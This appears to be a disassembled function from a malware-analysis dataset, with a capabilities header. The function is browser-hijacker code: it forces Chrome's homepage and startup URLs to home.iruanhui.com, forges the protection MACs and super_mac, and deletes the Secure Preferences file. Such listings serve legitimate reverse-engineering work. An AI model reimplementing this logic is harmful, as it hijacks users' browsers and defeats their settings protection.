Function at 0x406840
Capabilities:
Delete file
Get session user name
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
lea edi, [ebp - 0x1f0]
lea eax, [ebp - 0x1e8]
push ebx
lea ebx, [ebp - 0x110]
mov ecx, edi
sub esp, 0x22c
mov dword [ebp - 0x1f0], eax
mov dword [esp + 4], 0
mov dword [esp], ebx
mov dword [ebp - 0x110], 0x19
call fcn.004c3880
mov edx, dword [ebp - 0x110]
mov ecx, edi
mov dword [eax + 0xc], 0x7572692e
sub esp, 8
mov dword [eax + 0x10], 0x75686e61
mov dword [eax + 0x14], 0x6f632e69
mov byte [eax + 0x18], 0x6d
mov dword [ebp - 0x1e8], edx
mov dword [ebp - 0x1f0], eax
mov dword [eax + 4], 0x2f2f3a73
mov dword [eax], 0x70747468
mov edx, dword [ebp - 0x1f0]
mov dword [eax + 8], 0x656d6f68
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0x1ec], eax
mov byte [edx + eax], 0
mov eax, dword [ebp - 0x1ec]
mov dword [esp + 0xc], 0x19
mov dword [esp + 8], str.https:__home.iruanhui.com
mov dword [esp + 4], eax
mov dword [esp], 0
call fcn.004c1030
sub esp, 0x10
lea eax, [ebp - 0x108]
mov dword [esp], 0x561060
mov dword [ebp - 0x110], eax
call sub.msvcrt.dll_strlen
mov dword [ebp - 0x130], eax
mov esi, eax
cmp eax, 0xf
ja 0x407229
cmp eax, 1
jne 0x407193
movzx edx, byte [0x561060]
mov byte [ebp - 0x108], dl
lea edx, [ebp - 0x108]
mov dword [ebp - 0x10c], eax
mov byte [edx + eax], 0
lea eax, [ebp - 0x208]
mov dword [esp + 4], ebx
mov dword [esp], eax
call fcn.00405a50
mov eax, dword [ebp - 0x110]
lea esi, [ebp - 0x108]
cmp eax, esi
je 0x406989
mov esi, dword [ebp - 0x108]
mov dword [esp], eax
lea edx, [esi + 1]
mov dword [esp + 4], edx
call fcn.004f09f0
mov dword [esp], edi
mov ecx, ebx
call fcn.00410b60
sub esp, 4
lea ecx, [ebp - 0x208]
mov dword [esp], str.homepage
call fcn.004146d0
sub esp, 4
mov ecx, eax
mov dword [esp], ebx
call fcn.0040aba0
mov ecx, ebx
sub esp, 4
call fcn.0040b340
mov dword [esp], str.session
lea ecx, [ebp - 0x208]
call fcn.004146d0
sub esp, 4
mov ecx, eax
mov dword [esp], str.startup_urls
call fcn.004146d0
sub esp, 4
mov ecx, eax
mov dword [esp], 0
call fcn.004138b0
sub esp, 4
lea ecx, [ebp - 0x208]
mov dword [esp], str.session
call fcn.004146d0
sub esp, 4
mov ecx, eax
mov dword [esp], str.startup_urls
call fcn.004146d0
sub esp, 4
mov ecx, ebx
mov esi, eax
mov dword [esp], edi
call fcn.00410b60
sub esp, 4
mov ecx, esi
mov dword [esp], ebx
call fcn.004160f0
sub esp, 4
mov ecx, ebx
call fcn.0040b340
mov dword [esp], 4
mov ecx, ebx
call fcn.0040a920
sub esp, 4
lea ecx, [ebp - 0x208]
mov dword [esp], str.session
call fcn.004146d0
sub esp, 4
mov ecx, eax
mov dword [esp], str.restore_on_startup
call fcn.004146d0
sub esp, 4
mov ecx, eax
mov dword [esp], ebx
call fcn.0040aba0
mov ecx, ebx
sub esp, 4
call fcn.0040b340
lea eax, [ebp - 0x208]
lea ecx, [ebp - 0x130]
mov dword [esp], eax
call fcn.00411040
sub esp, 4
lea eax, [ebp - 0x108]
lea ecx, [ebp - 0x208]
mov dword [ebp - 0x10c], 0
mov dword [esp], str.protection
mov dword [ebp - 0x110], eax
mov byte [ebp - 0x108], 0
call fcn.004146d0
sub esp, 4
mov ecx, eax
mov dword [esp], str.macs
call fcn.004146d0
sub esp, 4
lea edi, [ebp - 0x130]
mov dword [esp + 8], edi
mov dword [esp + 4], ebx
mov dword [esp], eax
call fcn.00405c70
mov eax, dword [ebp - 0x110]
lea edi, [ebp - 0x108]
cmp eax, edi
je 0x406b1f
mov edi, dword [ebp - 0x108]
mov dword [esp], eax
lea edx, [edi + 1]
mov dword [esp + 4], edx
call fcn.004f09f0
lea ecx, [ebp - 0x130]
call fcn.0040b340
lea ecx, [ebp - 0x130]
call fcn.0040c3e0
mov dword [esp], str.protection
lea ecx, [ebp - 0x208]
call fcn.004146d0
sub esp, 4
mov ecx, eax
mov dword [esp], str.macs
call fcn.004146d0
sub esp, 4
lea ecx, [ebp - 0x1d8]
mov dword [esp + 4], eax
lea eax, [ebp - 0x130]
mov dword [esp], eax
call fcn.00416910
mov eax, dword [ebp - 0x1d8]
mov esi, dword [ebp - 0x1d4]
sub esp, 8
mov byte [ebp - 0x110], 0xd
mov dword [esp + 8], ebx
add esi, eax
mov dword [esp], eax
mov dword [esp + 4], esi
call fcn.004e9720
mov edx, eax
mov eax, dword [ebp - 0x1d8]
mov ecx, edx
sub ecx, eax
add eax, dword [ebp - 0x1d4]
cmp esi, eax
je 0x4071a6
sub esi, edx
mov dword [esp], ecx
lea ecx, [ebp - 0x1d8]
mov dword [esp + 4], esi
call fcn.004c3690
sub esp, 8
mov eax, dword [ebp - 0x1d8]
mov esi, dword [ebp - 0x1d4]
mov dword [esp + 8], ebx
mov byte [ebp - 0x110], 0xa
add esi, eax
mov dword [esp], eax
mov dword [esp + 4], esi
call fcn.004e9720
mov edx, eax
mov eax, dword [ebp - 0x1d8]
mov ecx, edx
sub ecx, eax
add eax, dword [ebp - 0x1d4]
cmp esi, eax
je 0x4071b4
sub esi, edx
mov dword [esp], ecx
lea ecx, [ebp - 0x1d8]
mov dword [esp + 4], esi
call fcn.004c3690
sub esp, 8
mov dword [esp], 0xf61060
call sub.msvcrt.dll_strlen
lea ecx, [ebp - 0x1c0]
mov dword [ebp - 0x1bc], 0
mov esi, eax
lea eax, [ebp - 0x1b8]
mov byte [ebp - 0x1b8], 0
mov dword [ebp - 0x1c0], eax
mov eax, dword [ebp - 0x1d4]
add eax, esi
mov dword [esp], eax
call fcn.004c3580
mov eax, 0x3fffffff
sub eax, dword [ebp - 0x1bc]
sub esp, 4
cmp esi, eax
ja 0x4072d0
mov dword [esp + 4], esi
lea ecx, [ebp - 0x1c0]
mov dword [esp], 0xf61060
call fcn.004c3720
mov eax, dword [ebp - 0x1d4]
sub esp, 8
lea ecx, [ebp - 0x1c0]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x1d8]
mov dword [esp], eax
call fcn.004c3720
mov eax, dword [ebp - 0x1c0]
sub esp, 8
lea esi, [ebp - 0x1a8]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], eax
mov dword [esp + 4], 0x504ca0
mov dword [esp], esi
call fcn.00402f00
mov dword [esp], esi
mov ecx, ebx
call fcn.00410b60
sub esp, 4
lea ecx, [ebp - 0x208]
mov dword [esp], str.protection
call fcn.004146d0
sub esp, 4
mov ecx, eax
mov dword [esp], str.super_mac
call fcn.004146d0
sub esp, 4
mov ecx, eax
mov dword [esp], ebx
call fcn.0040aba0
mov ecx, ebx
sub esp, 4
call fcn.0040b340
mov eax, 0x110
mov dword [ebp - 0x20c], 0x104
call fcn.00431650
mov ecx, 0x40
sub esp, eax
xor eax, eax
lea edi, [esp + 0x14]
mov byte [esp + 0x10], 0
lea edx, [esp + 0x10]
mov dword [esp + 0x11], 0
mov dword [esp + 0x110], 0
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x20c]
mov dword [esp], edx
mov dword [esp + 4], eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
sub esp, 8
lea edi, [ebp - 0x190]
mov dword [esp], str.LOCALAPPDATA
call sub.msvcrt.dll_getenv
mov esi, eax
lea eax, [ebp - 0x188]
mov dword [ebp - 0x190], eax
test esi, esi
je 0x4072f2
mov dword [esp], esi
call sub.msvcrt.dll_strlen
mov dword [ebp - 0x21c], eax
mov dword [ebp - 0x110], eax
cmp eax, 0xf
ja 0x4071db
cmp eax, 1
jne 0x4071c2
movzx edx, byte [esi]
mov byte [ebp - 0x188], dl
lea edx, [ebp - 0x188]
mov dword [ebp - 0x18c], eax
mov byte [edx + eax], 0
lea eax, [ebp - 0x178]
mov dword [esp + 8], str.GoogleChromeUser_DataDefaultSecure_Preferences
mov dword [esp + 4], edi
mov dword [esp], eax
call fcn.004ee1a0
mov eax, dword [ebp - 0x178]
mov dword [esp], eax
call sub.msvcrt.dll_remove
lea eax, [ebp - 0x160]
mov dword [esp + 8], str.GoogleChromeUser_DataDefault_
mov dword [esp + 4], edi
mov dword [esp], eax
call fcn.004ee1a0
lea eax, [ebp - 0x108]
mov edx, dword [ebp - 0x15c]
mov ecx, ebx
mov dword [ebp - 0x110], eax
mov eax, dword [ebp - 0x160]
add edx, eax
mov dword [esp], eax
mov dword [esp + 4], edx
call fcn.00401bb0
sub esp, 8
mov dword [esp], ebx
call fcn.004026e0
mov eax, dword [ebp - 0x110]
lea edi, [ebp - 0x108]
cmp eax, edi
je 0x406e78
mov edi, dword [ebp - 0x108]
mov dword [esp], eax
lea edx, [edi + 1]
mov dword [esp + 4], edx
call fcn.004f09f0
lea ecx, [ebp - 0xa4]
call fcn.004e7550
mov edi, dword [0x50f79c]
xor eax, eax
mov dword [ebp - 0xa4], 0x511570
mov word [ebp - 0x30], ax
mov eax, dword [0x50f7a0]
mov ecx, dword [edi - 0xc]
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x2c], 0
add ecx, ebx
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x110], edi
mov dword [ecx], eax
mov dword [esp], 0
call fcn.004e8430
lea esi, [ebp - 0x10c]
sub esp, 4
mov dword [ebp - fcn.004af660], 0x510a54
mov dword [ebp - 0xa4], 0x510a68
mov ecx, esi
call fcn.004a2610
mov dword [esp], esi
lea ecx, [ebp - 0xa4]
call fcn.004e8430
mov eax, dword [ebp - 0x178]
sub esp, 4
mov ecx, esi
mov dword [esp + 4], 0x14
mov dword [esp], eax
call fcn.004a0d40
mov edx, dword [ebp - 0x110]
sub esp, 8
mov ecx, dword [edx - 0xc]
add ecx, ebx
test eax, eax
je 0x40729c
mov dword [esp], 0
call fcn.004e8590
sub esp, 4
lea eax, [ebp - 0x208]
lea ecx, [ebp - 0x148]
mov dword [esp + 4], eax
lea eax, [ebp - 0x130]
mov dword [esp], eax
call fcn.00416910
mov edx, dword [ebp - 0x148]
sub esp, 8
test edx, edx
je 0x40727b
mov dword [esp], edx
mov dword [ebp - 0x21c], edx
call sub.msvcrt.dll_strlen
mov edx, dword [ebp - 0x21c]
mov dword [esp], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], edx
call fcn.004ea3b0
mov ecx, esi
call fcn.004a1130
test eax, eax
je 0x4072af
mov eax, dword [ebp - 0x148]
lea edx, [ebp - 0x140]
cmp eax, edx
je 0x406fd3
mov ebx, dword [ebp - 0x140]
mov dword [esp], eax
lea edx, [ebx + 1]
mov dword [esp + 4], edx
call fcn.004f09f0
mov dword [ebp - fcn.004af660], 0x510a54
mov ecx, esi
mov dword [ebp - 0xa4], 0x510a68
mov dword [ebp - fcn.004a29d0], 0x510868
call fcn.004a1130
lea ecx, [ebp - 0xe8]
call fcn.0049aea0
lea ecx, [ebp - 0xf0]
mov dword [ebp - method.c_streambufIwSt11char_traitsIwEE.virtual_0], vtable.c_streambufIwSt11char_traitsIwEE.0
call fcn.004bda90
mov eax, dword [edi - 0xc]
mov dword [ebp - 0x110], edi
lea ecx, [ebp - 0xa4]
mov edi, dword [0x50f7a0]
mov dword [ebp + eax - 0x110], edi
mov dword [ebp - 0xa4], 0x511570
call fcn.004e75f0
mov eax, dword [ebp - 0x160]
lea edx, [ebp - 0x158]
cmp eax, edx
je 0x407068
mov ebx, dword [ebp - 0x158]
mov dword [esp], eax
lea edx, [ebx + 1]
mov dword [esp + 4], edx
call fcn.004f09f0
mov eax, dword [ebp - 0x178]
lea edx, [ebp - 0x170]
cmp eax, edx
je 0x40708d
mov ebx, dword [ebp - 0x170]
mov dword [esp], eax
lea edx, [ebx + 1]
mov dword [esp + 4], edx
call fcn.004f09f0
mov eax, dword [ebp - 0x190]
lea edi, [ebp - 0x188]
cmp eax, edi
je 0x4070b2
mov edi, dword [ebp - 0x188]
mov dword [esp], eax
lea edx, [edi + 1]
mov dword [esp + 4], edx
call fcn.004f09f0
mov eax, dword [ebp - 0x1a8]
lea edx, [ebp - 0x1a0]
cmp eax, edx
je 0x4070d7
mov ebx, dword [ebp - 0x1a0]
mov dword [esp], eax
lea edx, [ebx + 1]
mov dword [esp + 4], edx
call fcn.004f09f0
mov eax, dword [ebp - 0x1c0]
lea edi, [ebp - 0x1b8]
cmp eax, edi
je 0x4070fc
mov edi, dword [ebp - 0x1b8]
mov dword [esp], eax
lea edx, [edi + 1]
mov dword [esp + 4], edx
call fcn.004f09f0
mov eax, dword [ebp - 0x1d8]
lea edx, [ebp - 0x1d0]
cmp eax, edx
je 0x407121
mov ebx, dword [ebp - 0x1d0]
mov dword [esp], eax
lea edx, [ebx + 1]
mov dword [esp + 4], edx
call fcn.004f09f0
mov eax, dword [ebp - 0x12c]
lea edx, [ebp - 0x124]
mov dword [ebp - fcn.00446630], 0x50f8e4
cmp eax, edx
je 0x407150
mov edi, dword [ebp - 0x124]
mov dword [esp], eax
lea edx, [edi + 1]
mov dword [esp + 4], edx
call fcn.004f09f0
lea ecx, [ebp - 0x130]
lea edi, [ebp - 0x1e8]
call fcn.0040c3b0
lea ecx, [ebp - 0x208]
call fcn.0040b340
mov eax, dword [ebp - 0x1f0]
cmp eax, edi
je 0x40718b
mov ebx, dword [ebp - 0x1e8]
mov dword [esp], eax
lea edx, [ebx + 1]
mov dword [esp + 4], edx
call fcn.004f09f0
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
test eax, eax
jne 0x4072dc
lea edx, [ebp - 0x108]
jmp 0x406948
mov dword [ebp - 0x1d4], ecx
mov byte [edx], 0
jmp 0x406bcc
mov dword [ebp - 0x1d4], ecx
mov byte [edx], 0
jmp 0x406c22
mov edx, dword [ebp - 0x21c]
test edx, edx
jne 0x4072e7
lea edx, [ebp - 0x188]
jmp 0x406dd4
mov dword [esp + 4], 0
mov ecx, edi
mov dword [esp], ebx
call fcn.004c3880
mov edx, dword [ebp - 0x110]
mov dword [ebp - 0x190], eax
sub esp, 8
mov dword [ebp - 0x188], edx
mov edx, dword [ebp - 0x21c]
mov dword [esp + 4], esi
mov dword [esp], eax
mov dword [esp + 8], edx
call sub.msvcrt.dll_memcpy
mov eax, dword [ebp - 0x110]
mov edx, dword [ebp - 0x190]
jmp 0x406dd4
lea eax, [ebp - 0x130]
mov dword [esp + 4], 0
mov ecx, ebx
mov dword [esp], eax
call fcn.004c3880
mov edx, dword [ebp - 0x130]
mov dword [ebp - 0x110], eax
sub esp, 8
mov dword [ebp - 0x108], edx
mov dword [esp + 8], esi
mov dword [esp + 4], 0x561060
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
mov eax, dword [ebp - 0x130]
mov edx, dword [ebp - 0x110]
jmp 0x406948
mov eax, dword [ebp - 0x110]
mov ecx, dword [eax - 0xc]
add ecx, ebx
mov eax, dword [ecx + 0x14]
or eax, 1
mov dword [esp], eax
call fcn.004e8590
sub esp, 4
jmp 0x406f9f
mov eax, dword [ecx + 0x14]
or eax, 4
mov dword [esp], eax
call fcn.004e8590
jmp 0x406f49
mov eax, dword [ebp - 0x110]
mov ecx, dword [eax - 0xc]
add ecx, ebx
mov eax, dword [ecx + 0x14]
or eax, 4
mov dword [esp], eax
call fcn.004e8590
sub esp, 4
jmp 0x406fae
mov dword [esp], 0x5041b0
call fcn.004f6c50
lea eax, [ebp - 0x108]
jmp 0x407256
lea eax, [ebp - 0x188]
jmp 0x407202
mov dword [esp], 0x504068
call fcn.004f6b60
jmp 0x4f21cc
mov dword [esp], eax
call fcn.004f0b30
call fcn.004f0ca0
jmp 0x406ff8